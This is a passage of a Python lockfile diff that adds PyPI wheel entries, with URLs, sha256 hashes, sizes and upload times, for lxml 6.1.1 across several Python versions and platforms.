"sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/da/dbe4dfc01ac226fb0504fad035f4d69f3202f3502e20e68537631daddd96/lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60", size = 8541124, upload-time = "2026-05-18T19:17:11.589Z" }, + { url = "https://files.pythonhosted.org/packages/78/20/f7095ed9fc2c025f9cfe71cc6ec9f1feb05624edc1812423b5f1aecf3d4b/lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d", size = 4602783, upload-time = "2026-05-18T19:17:20.888Z" }, + { url = "https://files.pythonhosted.org/packages/4a/a4/65c63ca98bd129f6cff7b8c2fa48953ab058cc6005b541354e7dd54d8000/lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea", size = 5002687, upload-time = "2026-05-18T19:17:01.738Z" }, + { url = "https://files.pythonhosted.org/packages/96/1d/ab7a5c4b5a394d98a94e2d0fc67bab8297597426770dd4978370fbdaf531/lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074", size = 5155099, upload-time = "2026-05-18T19:17:05.159Z" }, + { url = "https://files.pythonhosted.org/packages/d0/b1/07603bfeeb891a2596d5c2a68f7d2f70f7d11c841ebe391412c69c2857b0/lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30", size = 5057225, upload-time = "2026-05-18T19:17:08.117Z" }, + { url = "https://files.pythonhosted.org/packages/7a/16/cb391ee4b90186fa16d9ebcbe3ea96c71b8da3b0686386c8dcbcc3c67d44/lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315", size = 5287643, upload-time = "2026-05-18T19:17:11.507Z" }, + { url = "https://files.pythonhosted.org/packages/eb/d6/b619717f918fd76747448fdbaee0e769edbc70e659b5b5d0112b7020b7a3/lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1", size = 5412445, upload-time = "2026-05-18T19:17:22.182Z" }, + { url = "https://files.pythonhosted.org/packages/c6/80/12bc5390ac0a3edeb579d9535e5049a5dda663438728e179d52fb319c33a/lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206", size = 4770864, upload-time = "2026-05-18T19:17:26.851Z" }, + { url = "https://files.pythonhosted.org/packages/0b/59/6500c09da3137f54f020e908d81cfc5ee3e8888e908fd380207afad7c2e6/lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067", size = 5359594, upload-time = "2026-05-18T19:17:32.527Z" }, + { url = "https://files.pythonhosted.org/packages/f2/9b/f64b4cc6b7ebcf75d95af3cde934d254b5f2f10d4163928d838d86b6eb48/lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a", size = 5107713, upload-time = "2026-05-18T19:17:04.402Z" }, + { url = "https://files.pythonhosted.org/packages/16/19/c7388ad5d3a72315d2832dc1458cbf4f2af7f2b990b606ff4876efd04511/lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa", size = 4803973, upload-time = "2026-05-18T19:17:06.545Z" }, + { url = "https://files.pythonhosted.org/packages/3f/22/76197f0bbf165f0b9e75be59be4997e5259cde973f12f098c1b54c7f5d60/lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383", size = 5349925, upload-time = "2026-05-18T19:17:09.743Z" }, + { url = "https://files.pythonhosted.org/packages/24/52/d2a0cfeccb9bcdc47c7ee05cdae5d69b48c9acf20997790a6338bb0d0b3b/lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1", size = 5309825, upload-time = "2026-05-18T19:17:13.831Z" }, + { url = "https://files.pythonhosted.org/packages/19/4a/b30944266776c2f49749ef2445aa7e78898194134b80ad776386f61b56ae/lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a", size = 3598402, upload-time = "2026-05-18T19:17:08.21Z" }, + { url = "https://files.pythonhosted.org/packages/9e/97/33691c66a4d7ec1a5a98e7c909a5b83ee45c7f7ba4cf92b1c4cf26e98079/lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5", size = 4021295, upload-time = "2026-05-18T19:17:28.638Z" }, + { url = "https://files.pythonhosted.org/packages/d0/5f/26a4dd0e12b9456ff7b12a21af5b491eb6629680d1edd73f4140fd386bcf/lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485", size = 3667717, upload-time = "2026-05-19T19:22:44.474Z" }, + { url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" }, + { url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" }, + { url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" }, + { url = "https://files.pythonhosted.org/packages/4c/77/1bc7eeb0de4577d783fb625aa092cc9357883bba35845a3666bf1259f3dc/lxml-6.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db1d75f6617a49c1c01bc7023713e0ff59ab32c9579ae62a7674c0e34f3b0b0a", size = 5067921, upload-time = "2026-05-18T19:17:49.175Z" }, + { url = "https://files.pythonhosted.org/packages/1b/3c/c0690d74bd2bc17bc03b5b0d093569ead597dd0bfa088bf99eef8c24e19c/lxml-6.1.1-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a12689be69a28ddaa0ab99a5a1137da2afd5f8f16df7b5680b66f616d3eda1d", size = 5002456, upload-time = "2026-05-18T19:17:59.715Z" }, + { url = "https://files.pythonhosted.org/packages/66/8d/d1b3271af0c0f1e27e8472a849e4d2c65bc7766884b9ad2da9e76e145c88/lxml-6.1.1-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b73c339ae29b90fd2d06e58ebd555a751bde9cd6bbd36cc0281b9a2c94e9d8", size = 5202776, upload-time = "2026-05-18T19:18:08.924Z" }, + { url = "https://files.pythonhosted.org/packages/7a/45/689824ffb237fd10125ad273f32b28ff04dc6203c2822c85ff65a93df65e/lxml-6.1.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:752d3bbfe874715ccd0aec7f88d7fc623c0f1fd7aa7b3238a084e017bad2a009", size = 5329945, upload-time = "2026-05-18T19:18:13.673Z" }, + { url = "https://files.pythonhosted.org/packages/5d/c0/ef73af53767e958fd87d437c170f272e2f6e6c0f854939f133a895f1e711/lxml-6.1.1-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:6b1761fbf9ec984e2e9d9c589ef5f5fd684b7c19f92aadd567a26c5224958db6", size = 4659237, upload-time = "2026-05-18T19:18:18.657Z" }, + { url = "https://files.pythonhosted.org/packages/a0/5e/e1158e40397585e91cb0472374a1f63d0926a1ddeaa92f13d1a1ffe306d5/lxml-6.1.1-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d680fbcb768404c601ecb43519ecd8461f6954cb11c06a78962f666832ccfca8", size = 5265904, upload-time = "2026-05-18T19:18:24.883Z" }, + { url = "https://files.pythonhosted.org/packages/a0/16/8687e5d1400ed1c0bc41dace232ebb7553952b618ea1f2e5fb6e2cfbbe23/lxml-6.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:162af1091cd785f2f27e62d3547ae9bc58ec5c86dd314d67021fd02463708d83", size = 5045225, upload-time = "2026-05-18T19:17:20.073Z" }, + { url = "https://files.pythonhosted.org/packages/ca/18/d877bd1ae2e5ffdfd4836565aba350db31feb2f2656d6ce70316ed66a05e/lxml-6.1.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e9308ff8241c532df3f3e570f9a5aeed6c853f888512ba4b75638d7c11c95ef6", size = 4712721, upload-time = "2026-05-18T19:17:40.512Z" }, + { url = "https://files.pythonhosted.org/packages/44/4d/1f44fd1d770b10dacbf6b5c6e520f4d6e0708744930f719dc04e67cab981/lxml-6.1.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5f6994074ebae6ffb04447268e37dc16edc304f9859cf91acb86e0af6c1b395c", size = 5252549, upload-time = "2026-05-18T19:17:51.236Z" }, + { url = "https://files.pythonhosted.org/packages/64/5d/1d66b84f850089254c230ef6ea6b267a5a54e2e179a5d960036a05d501d7/lxml-6.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:80c2dfadb855da477cf73373ad29a333535dedb9b12bad02c9814c8e2b43bf08", size = 5226877, upload-time = "2026-05-18T19:18:00.875Z" }, + { url = "https://files.pythonhosted.org/packages/ad/00/84c4b5302d42a2d0184f38d538c8a197f33b52a50bd4f7bcfe990bce3036/lxml-6.1.1-cp311-cp311-win32.whl", hash = "sha256:30a89d3ac8faec007453fb541f3f46807eeec88edd5826f6e3fe001752a2c621", size = 3594072, upload-time = "2026-05-18T19:17:12.714Z" }, + { url = "https://files.pythonhosted.org/packages/61/9d/2e2f7d876349f45e0f3e29f72da311668853d59b58d473a2dea4f0160135/lxml-6.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:abbefa31eee84842140f67acef1c828e28bba8bbf0c3bc6e5492a9af88152c28", size = 4025469, upload-time = "2026-05-18T19:17:50.566Z" }, + { url = "https://files.pythonhosted.org/packages/b0/d5/570e6390e4110331e6208b2ba83d1482cc9146808ee118b22824a34c1070/lxml-6.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:dcb292aa7fe485ceff7af4f92e46c5af397daec5dff64871a528f0fc47a3cc5b", size = 3667640, upload-time = "2026-05-19T19:22:48.293Z" }, + { url = "https://files.pythonhosted.org/packages/6a/6e/c4add832b6fc1e887125b96f880d7b9b70aae5248718e046b1704bcac4b9/lxml-6.1.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:104c09bda8d2a562824c0e319d0768ce26a779b7601e0931d33b09b53c392ef7", size = 8570821, upload-time = "2026-05-18T19:17:42.068Z" }, + { url = "https://files.pythonhosted.org/packages/22/00/ff3009c88e65de8011630acf8ab5a09cb2becd2aaf47fba2f3449f6224e9/lxml-6.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:25c6997a9a534e016695a0ba06b2f07945de682731ff01065b6d5a4474179da1", size = 4624252, upload-time = "2026-05-18T19:17:47.897Z" }, + { url = "https://files.pythonhosted.org/packages/42/95/bb63f0fd62e554fe078e1fb3c8fe9083c14ddc7ad7fa178d10e57e071ac7/lxml-6.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c921ba5c51e4e9f63b8b00267d06566e1f63407408a0496da2d1d0bfc819c7fc", size = 4930746, upload-time = "2026-05-18T19:18:29.637Z" }, + { url = "https://files.pythonhosted.org/packages/eb/99/0013e8d9b5960f4f041cf0b73e2f80c23eb5205b1f7bfb20203243651359/lxml-6.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:54a7f95e4de5fb94e2f9f4b9055c6ba33bf3d628fd77a1d647c5923caa2cdcdc", size = 5093723, upload-time = "2026-05-18T19:18:34.168Z" }, + { url = "https://files.pythonhosted.org/packages/29/91/317b332636bfc7bddcff828d41b3307f50043f4b237e40849c333d80fa1a/lxml-6.1.1-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f2ec43df44b1f76249ee0a615334f9b5b060e1c8bd90e706dad2d14d02f383", size = 5005557, upload-time = "2026-05-18T19:18:39.798Z" }, + { url = "https://files.pythonhosted.org/packages/42/2f/cc9bf06afe70f9c9093ae60855d9759da9db601ec4080f7473319666ffd7/lxml-6.1.1-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:70ef8a7e102a1508f8121aae5b0867abd663f72c14f0a9c937e6554cb4587b7b", size = 5631036, upload-time = "2026-05-18T19:18:44.858Z" }, + { url = "https://files.pythonhosted.org/packages/08/f6/af32e23e563971ffb0fb86be52bc5be5c2c118858ffc119bf6a9039b173d/lxml-6.1.1-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ebe6af670449830d6d9b752c256a983291c766a1365ba5d5460048f9e33a7818", size = 5240367, upload-time = "2026-05-18T19:18:49.217Z" }, + { url = "https://files.pythonhosted.org/packages/78/83/8555d40948b09ce86f1bd0c68a7ac31d07b1929f92cc1b074006c97ef2d2/lxml-6.1.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:27acc820660aaffa4f7c087f29120e12980f7779d56d8492d263170111284740", size = 5350171, upload-time = "2026-05-18T19:18:52.779Z" }, + { url = "https://files.pythonhosted.org/packages/63/75/5d92da93729b7bad783689e6496049fa40927b45bec7bf183c981de3ca70/lxml-6.1.1-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:1db753c9115ec7100d073b744d17e25e88a8f90f5c39b2f5dd878149af59671f", size = 4694874, upload-time = "2026-05-18T19:18:55.139Z" }, + { url = "https://files.pythonhosted.org/packages/c5/b5/3aad415a9a25b822e783f15deeb4dffccf5113030f1afa2222dd929313d9/lxml-6.1.1-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4f469aebd783bb741c2ecb2a681008fd26bfe5c16a9a72ed5467f834e810df2", size = 5244492, upload-time = "2026-05-18T19:19:01.28Z" }, + { url = "https://files.pythonhosted.org/packages/f1/a1/5fcf7eb9904b80086aa47dcf0027de07b1bb990afad2e6823144c368ae04/lxml-6.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:766b010012d59470072c1816b5b6c69f1d243e5db36ea5968e94accf430a4635", size = 5048232, upload-time = "2026-05-18T19:18:12.67Z" }, + { url = "https://files.pythonhosted.org/packages/77/74/1f601b63c7a69fcdf10fa9b148c81da8442204194f6c55509cc485c786b9/lxml-6.1.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b8d812c6011c08b8111a15e54dd990b8923692d80adf35488bee34026c35accf", size = 4777023, upload-time = "2026-05-18T19:18:15.928Z" }, + { url = "https://files.pythonhosted.org/packages/a2/b9/7a78f51aec95b1bf780d78e12705a9f6533284f8693dc5c0e6724fa53d3f/lxml-6.1.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0306bd29505a9177aac19f1877174b0e7422c222a59f70b2cd41633448c3dc", size = 5645773, upload-time = "2026-05-18T19:18:23.223Z" }, + { url = "https://files.pythonhosted.org/packages/a5/6e/98a7b7ad54e4e74fa1f20fff776913980619d0ebe5558232d7da6580bdd8/lxml-6.1.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:5ba186ad207446c65d3bb3d3e0412b032b1d9f595e59861e2354798c5703d955", size = 5233088, upload-time = "2026-05-18T19:18:31.433Z" }, + { url = "https://files.pythonhosted.org/packages/65/d1/bc0ed2427bf609f2ee10da303a6a226f9c8bce94f945dc29a32ce55de6e4/lxml-6.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:aa366a1e55b8ebfe8ca8ddc3cfe75c8ebade181aeb0f661d0cb05986b647f72a", size = 5260995, upload-time = "2026-05-18T19:18:37.091Z" }, + { url = "https://files.pythonhosted.org/packages/69/8b/6772e1a4b513fc50a8d931f19edde0e13ae6918510a1e13ff67864f3e5ed/lxml-6.1.1-cp312-cp312-win32.whl", hash = "sha256:126c93f7f56f0eda92f6d8c619edc463a4f23d9252f1c9d0405a76f25fa9f11a", size = 3596382, upload-time = "2026-05-18T19:17:18.37Z" }, + { url = "https://files.pythonhosted.org/packages/1b/89/45198e9624762af2dfd2cb8782598477ceb29f6e59caab560388ae1f4ec1/lxml-6.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:26e6eda8d38c1fcab1090dd196ee87cbd13788e531937610e2589085de074e77", size = 3997255, upload-time = "2026-05-18T19:17:56.781Z" }, + { url = "https://files.pythonhosted.org/packages/90/a9/7a54b6834088d9ae528a7b780584ba6a39a9457b0ac330479f20ffbc9449/lxml-6.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:6540377fbd53fe1b629172288c464fb18db11ce1fa7dc15891da10aa9dcc3e7f", size = 3659610, upload-time = "2026-05-19T19:22:50.843Z" }, + { url = "https://files.pythonhosted.org/packages/a5/eb/7e6f37c5584ccbb2ff267f56fd0339016938c1c8684cfefab9b33ffc2f36/lxml-6.1.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:68a9198d0fc122d14bb76837de9aa80cf84caed990b5b237f532ed87d3706736", size = 8559780, upload-time = "2026-05-18T19:17:57.661Z" }, + { url = "https://files.pythonhosted.org/packages/a1/36/587c2521cf23a2cd6c9c22108aa7528f683a1f195ed7ccd23a4b1786ad36/lxml-6.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7d47866cb32fb503450b6edc9df355d10dc49836af2e89901bd6ac6b0896d9d9", size = 4618006, upload-time = "2026-05-18T19:18:04.452Z" }, + { url = "https://files.pythonhosted.org/packages/6e/ca/ab7bfe2bf4c972af5e7878262845ead3a24a929a9b04bc11c7c1ece6c82a/lxml-6.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb7c9811bfaa8b1ed5ed319f5d370dfbcaa59d52ea64be2a5a85e18195930354", size = 4924139, upload-time = "2026-05-18T19:19:04.873Z" }, + { url = "https://files.pythonhosted.org/packages/6b/55/a0c72851dfee5ecc689f949723a73dea457758912542cb955b108eaf0d8f/lxml-6.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:762ff394d5bd56da0cf034a23dcce4e13923f15321a2adfa2ac00201dc6d3fca", size = 5082329, upload-time = "2026-05-18T19:19:09.728Z" }, + { url = "https://files.pythonhosted.org/packages/f0/b6/0608f7d61a3b96cc67e5648a3d906e31a5082093e10e7be65b3886289938/lxml-6.1.1-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a088f287f7d8275a33c07f2cac6c50b9319309a0200a39e7e75d80c707723099", size = 4993564, upload-time = "2026-05-18T19:19:13.608Z" }, + { url = "https://files.pythonhosted.org/packages/4c/66/ae227524b066d29d55bf0b453d93d2d793c40218657d643dcbbca13b8faf/lxml-6.1.1-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e902da4b04e6b52e5893900d4b8ab46068f75f3561f01bf1080957f9fd932ed6", size = 5613467, upload-time = "2026-05-18T19:19:16.228Z" }, + { url = "https://files.pythonhosted.org/packages/a6/76/dbe4a00b50385e40194231dcfe5a12c059de7cf90e89c83407d2b085b719/lxml-6.1.1-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d4962d4c66bf830a7e59ed6cfc17d148149898a3aefa8ec6e59763e6e3ed085", size = 5228304, upload-time = "2026-05-18T19:19:19.354Z" }, + { url = "https://files.pythonhosted.org/packages/1c/01/00b1b8442ed2041793336868ba0b9ea4b13d7da7c085c6404c207a63bf79/lxml-6.1.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:581d4c8ae690a6609e64862dd6b7c2489635c2d13907fc2b20f2bc200ff1d21e", size = 5341607, upload-time = "2026-05-18T19:19:22.297Z" }, + { url = "https://files.pythonhosted.org/packages/63/36/1ad29931e9a4638bb707869f01d423a6c815f82152138d1a40dfcfde2b95/lxml-6.1.1-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:876e1ff5930ed8bf295ec5ef9a8155e9b6b1876bbf1deed8b3a8069311875a8f", size = 4700168, upload-time = "2026-05-18T19:19:25.133Z" }, + { url = "https://files.pythonhosted.org/packages/3c/d1/a9536cecf9be18a0dc72d32bead283a2332d1ffebd2dd3ac70ce444686e5/lxml-6.1.1-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9eb9b5a968f6e0f6d640092a567e14529ff8cea2e29d00da6f78a79fa49f013c", size = 5232487, upload-time = "2026-05-18T19:19:28.603Z" }, + { url = "https://files.pythonhosted.org/packages/0e/77/b4fb1e03bf5d130e879214d3100092e386418807fb74dd0adc4b0a48f351/lxml-6.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:aa49e06d94aba782c6a02eecb7e507969e7e7a41b267f1b359bb35585f295d5b", size = 5044231, upload-time = "2026-05-18T19:18:42.246Z" }, + { url = "https://files.pythonhosted.org/packages/26/4c/d00daeeb0a5530c4028a9232aa1b93db3ef4ed2158c116ea73c79a9765b3/lxml-6.1.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:70cdfd80589d59e43e18005dd7244e8895e93db8ab6a620b7e23df5445a4e3d2", size = 4769450, upload-time = "2026-05-18T19:18:48.013Z" }, + { url = "https://files.pythonhosted.org/packages/ed/6a/715a3a8d156ce42f29cf014706f5410c2ff3b02267774110fc23266409fe/lxml-6.1.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:aad9aa39483ed8ec44d6d2e59e5b98a0d80676ef0d92f44bfc374836111f62f5", size = 5635874, upload-time = "2026-05-18T19:18:51.914Z" }, + { url = "https://files.pythonhosted.org/packages/45/37/0544bc21dde2a88f3a17b504e6fc79c0e01d25a33c2f6079724e9e72b9c7/lxml-6.1.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:d49514be2f28d895c38cf9d2b72d7b9a07d00314519f456c0b50b53cfcf4c785", size = 5223987, upload-time = "2026-05-18T19:18:59.715Z" }, + { url = "https://files.pythonhosted.org/packages/4d/f8/f6a5e8185bcb28c2befae3d31f8e3df3b811cb0f47746517a81279fcafe1/lxml-6.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:47402e62c52ff5988c1e8c6c63177f5708bccf48e366dea4e3dcf1e645e04947", size = 5250276, upload-time = "2026-05-18T19:19:03.834Z" }, + { url = "https://files.pythonhosted.org/packages/c7/f2/1a2b9f1b7a49d45495369be7ef9ad05b262930f2eab3e3145706fca8083f/lxml-6.1.1-cp313-cp313-win32.whl", hash = "sha256:3483644525531e1d5762b0c44a8e18b6efba321b6dcf8a8952de10b037618bca", size = 3596903, upload-time = "2026-05-18T19:17:29.863Z" }, + { url = "https://files.pythonhosted.org/packages/e6/99/f4ffb024f238eec2131aaa09f3278fb6129cf892741bf68e1fc1afb8c100/lxml-6.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:a10bd2fd62e8ce916ececb342f348f190724a098c1faa056fdfb2a22ad5e8660", size = 3995869, upload-time = "2026-05-18T19:18:02.596Z" }, + { url = "https://files.pythonhosted.org/packages/d1/53/70eb8c5c6037f27448f1e3c54ebede9545a801ae63f0a7254afca4fe8e45/lxml-6.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:424aa57aca0897eb922aef34395bd1289b3b6f04e6bae20ea123c0c7e333cffc", size = 3658490, upload-time = "2026-05-19T19:22:53.846Z" }, + { url = "https://files.pythonhosted.org/packages/13/e2/2e325795566de01d0d7c3bb57d3c370616b2d07b01214e84eec5d3b10963/lxml-6.1.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:19b7ab10b210b0b3ad7985d9ac4eb66ab09a90b20fe6e2f7ba55d01a234345d0", size = 8577146, upload-time = "2026-05-18T19:18:17.765Z" }, + { url = "https://files.pythonhosted.org/packages/93/cf/5630b5e4be7d2e6bee8efe83865c925221103cf0221303b104ce134b01e2/lxml-6.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c08e5c694306507275f2290073350c4f32e383db15213b2c69e7ff39c1193840", size = 4623866, upload-time = "2026-05-18T19:18:30.669Z" }, + { url = "https://files.pythonhosted.org/packages/d2/51/3904907c063451cf8d4a5c9fe0cad95fa1f4ec57f4e3884fa0731bd7a305/lxml-6.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:74a9717fd0d82effef5c2854f0d917231d5324b5a3eb7275c43ac9fa32f97a14", size = 4950022, upload-time = "2026-05-18T19:19:31.958Z" }, + { url = "https://files.pythonhosted.org/packages/94/cd/9c7611a51c37a2830928405817cc5d56a97f64fab83cc3f628748b135749/lxml-6.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:efe0374196335f93b53269acd811b944f2e6bdc88e8894f214bd636455484909", size = 5086695, upload-time = "2026-05-18T19:19:34.764Z" }, + { url = "https://files.pythonhosted.org/packages/da/d6/24e3b5906abb0b674ff2ae195bc3ce59708df2bcd17cf17703b2d7dd643a/lxml-6.1.1-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac931cdc9442c1763b8a8f6cd62c0c938737eafc5be75eff88df55fc73bc0d00", size = 5031642, upload-time = "2026-05-18T19:19:37.771Z" }, + { url = "https://files.pythonhosted.org/packages/2d/db/6ec54f99019838bff54785c51da07f189eb4676861c5f2730962b0d8d665/lxml-6.1.1-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:aee395f5d0927f947758b4ec119fd5fc8ec71f07a1c5c52077b30b04c0fa6955", size = 5647338, upload-time = "2026-05-18T19:19:40.553Z" }, + { url = "https://files.pythonhosted.org/packages/42/3d/ef4dcfffd22d27a61805d8ed9f7fb888495bc6aa88648fa07c1eaa5586b6/lxml-6.1.1-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9395002973c827b3ed67db77e6ec09f092919a587022174554096a269378fb13", size = 5239528, upload-time = "2026-05-18T19:19:43.657Z" }, + { url = "https://files.pythonhosted.org/packages/62/bb/37fb3f0dff146bdcfa78eec47879273820b2a0bf350ec236ce14bd0b1c26/lxml-6.1.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:73bc2086f141224ebddb7fc5c6a36ca58b31b94b561e1dfe8e073e3270fad1e7", size = 5350730, upload-time = "2026-05-18T19:19:46.307Z" }, + { url = "https://files.pythonhosted.org/packages/90/42/43253f168388df4fae1f38c01df36ddb9bee39e2048167b54cdcbae85ea3/lxml-6.1.1-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3779def59032b81e44a5f70096ef6bf2082f8d901937dca354474ba09782e245", size = 4697530, upload-time = "2026-05-18T19:19:49.889Z" }, + { url = "https://files.pythonhosted.org/packages/eb/a8/c5a8504f81bbdfc8e7094c2c850cdb4ed6777fc4d5ddd9e5ab819f3b0d54/lxml-6.1.1-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:86c89b9d55ebf820ad7c90bc533410f0d098054f293351f10603c0c46ff598f5", size = 5250670, upload-time = "2026-05-18T19:19:53.199Z" }, + { url = "https://files.pythonhosted.org/packages/77/b7/c7e76ab18744d75e21f320ebf9ff9d1ceae2b54dd431ea5a64caf26c9672/lxml-6.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19607c6bbff2a44cf3fe8250abccd20942d3462473e0a721d01d379ed017e462", size = 5084485, upload-time = "2026-05-18T19:19:08.422Z" }, + { url = 